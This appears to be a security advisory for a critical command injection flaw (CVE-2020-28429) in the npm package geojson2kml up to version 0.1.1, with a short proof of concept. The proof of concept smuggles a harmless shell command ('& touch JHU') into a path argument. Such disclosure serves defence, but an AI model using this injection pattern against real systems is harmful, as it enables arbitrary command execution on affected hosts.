GHSA-w83x-fp72-p9qcCriticalCVSS 9.8

Command Injection in geojson2kml

Published
May 10, 2021
Last Modified
September 6, 2023

🔗 CVE IDs covered (1)

CVE-2020-28429 →

📋 Description

All versions up to and including version 0.1.1 of package geojson2kml are vulnerable to Command Injection via the index.js file.

PoC:

var a =require("geojson2kml"); 
a("./","& touch JHU",function(){})

🎯 Affected products1

  • npm/geojson2kml:<= 0.1.1

🔗 References (3)